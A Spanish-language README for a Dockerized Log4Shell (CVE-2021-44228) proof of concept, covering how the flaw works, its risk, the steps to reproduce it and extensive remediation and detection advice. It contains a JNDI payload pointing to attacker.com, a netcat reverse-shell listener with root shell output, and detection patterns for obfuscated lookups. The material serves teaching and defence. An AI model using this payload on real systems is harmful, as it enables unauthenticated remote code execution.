Log4Shell (CVE-2021-44228) PoC

Objetivo

Reproducir, explotar y remediar un CVE crítico conocido en un entorno Dockerizado.

Esta PoC demuestra CVE-2021-44228 (Log4Shell) en una aplicación Spring Boot.

1. Descripción de la vulnerabilidad

CVE: 2021-44228

CVSS: 10.0 (Crítico)

Componente afectado: Apache Log4j (<= 2.14.1)

Cómo funciona el paquete

• Log4j es una biblioteca de registro de Java muy popular.
• Soporta lookups (${...}) para resolver valores dinámicamente dentro de los mensajes de registro.
• Uno de estos lookups es JNDI, que puede obtener valores a través de LDAP.

Cómo funciona la vulnerabilidad

• El atacante envenena la aplicación víctima con una cadena de lookup JNDI maliciosa como ${jndi:ldap://attacker.com:1389/a}.
• La aplicación víctima con una versión vulnerable de Log4j evalúa la cadena maliciosa durante el registro.
• Esto desencadena una solicitud JNDI al servidor LDAP controlado por el atacante.
• El servidor LDAP responde con una referencia maliciosa a bytecode Java externo.
• La JVM de la víctima carga el bytecode y lo ejecuta, lo que conduce a Ejecución Remota de Código (RCE).

Cómo funciona el exploit

1. La aplicación víctima registra la entrada proporcionada por el atacante desde una cabecera HTTP.
2. El servidor LDAP del atacante responde con una referencia a Exploit.class.
3. La víctima recupera Exploit.class a través de HTTP.
4. El inicializador estático en Exploit se ejecuta, generando una reverse shell de vuelta al atacante.

2. Riesgo

• Impacto: RCE no autenticado: la máxima gravedad posible.

• Quién/qué está en riesgo:

  • Cualquier aplicación Java que use Log4j <= 2.14.1.
  • Servicios expuestos a Internet e internos que registran entrada controlada por el usuario (p. ej., cabeceras HTTP).

• Consecuencias:

  • Compromiso del sistema (acceso a shell).
  • Exfiltración de datos.
  • Pivoting hacia redes internas.
  • Evasión de las defensas perimetrales (ataques a través de servicios internos).

3. Prueba de concepto

Requisitos previos

1. docker + docker-compose
2. netcat
3. make

Construir e iniciar

make build start

Explotación

1. Inicia un listener de netcat:

nc -l 4444

2. Activa el exploit:

make exploit

3. Netcat recibe una reverse shell de la víctima:

/bin/sh: can't access tty; job control turned off
$ id
uid=0(root) gid=0(root) groups=0(root) ...

4. Remediación

Solución preferida

• Actualizar a Log4j 2.17.1 o posterior.
• Esta es la única solución completa y a largo plazo. Las versiones anteriores se parchearon parcialmente, pero aún dejaban exposiciones:
  • CVE-2021-45046: RCE mediante configuración de registro no predeterminada
  • CVE-2021-45105: DoS mediante lookups autorreferenciales
  • CVE-2021-44832: RCE mediante ciertas configuraciones del appender JDBC

make patch
make build start
nc -l 4444
make exploit
# -> observe no reverse shell

Mitigaciones provisionales (si no es posible actualizar)

1. Ganar tiempo

• Restringir las cadenas de exploit entrantes (patrones ${jndi:) con un WAF o middleware.
• Restringir LDAP saliente desde los servidores de aplicaciones con filtrado de salida (egress).

2. Deshabilitar lookups:

-Dlog4j2.formatMsgNoLookups=true

3. Endurecer la JVM:

-Dcom.sun.jndi.ldap.object.trustURLCodebase=false

Mitigaciones operativas

1. Auditar dependencias y tiempo de ejecución

• Generar un SBOM (gradle dependencies, Snyk, Wiz, etc.).
• Buscar en imágenes/servidores desplegados log4j-core-*.jar, incluidos los fat JAR.
• Clasificar y priorizar las mitigaciones para las cargas de trabajo de mayor riesgo.

2. Monitorear y detectar

• Observar intentos de exploit en los registros (${jndi:...}, ${${lower:j}ndi:...}, etc.).
• Monitorear el tráfico LDAP saliente en busca de callbacks.
• Tratar los hallazgos como compromisos potenciales y escalar para respuesta a incidentes (investigación forense, eliminación de artefactos maliciosos, rotación de secretos, etc.).

3. Parches de los proveedores

• Seguir los avisos de los proveedores (p. ej., Elasticsearch): muchos incluyen Log4j integrado.
• Aplicar hotfixes o soluciones alternativas proporcionadas hasta que estén disponibles los parches oficiales.

4. Mejoras estratégicas

• Aplicar una política de «denegar por defecto» para el filtrado de tráfico saliente.
• Aplicar el escaneo de dependencias en CI/CD.
• Formalizar los playbooks de respuesta para que los equipos sepan exactamente qué hacer durante la próxima vulnerabilidad de «10.0 CVSS».
• Realizar ejercicios de resiliencia/tabletop para probar la preparación ante un incidente de la «clase Log4Shell».

5. Referencias

• Avisos de seguridad de Apache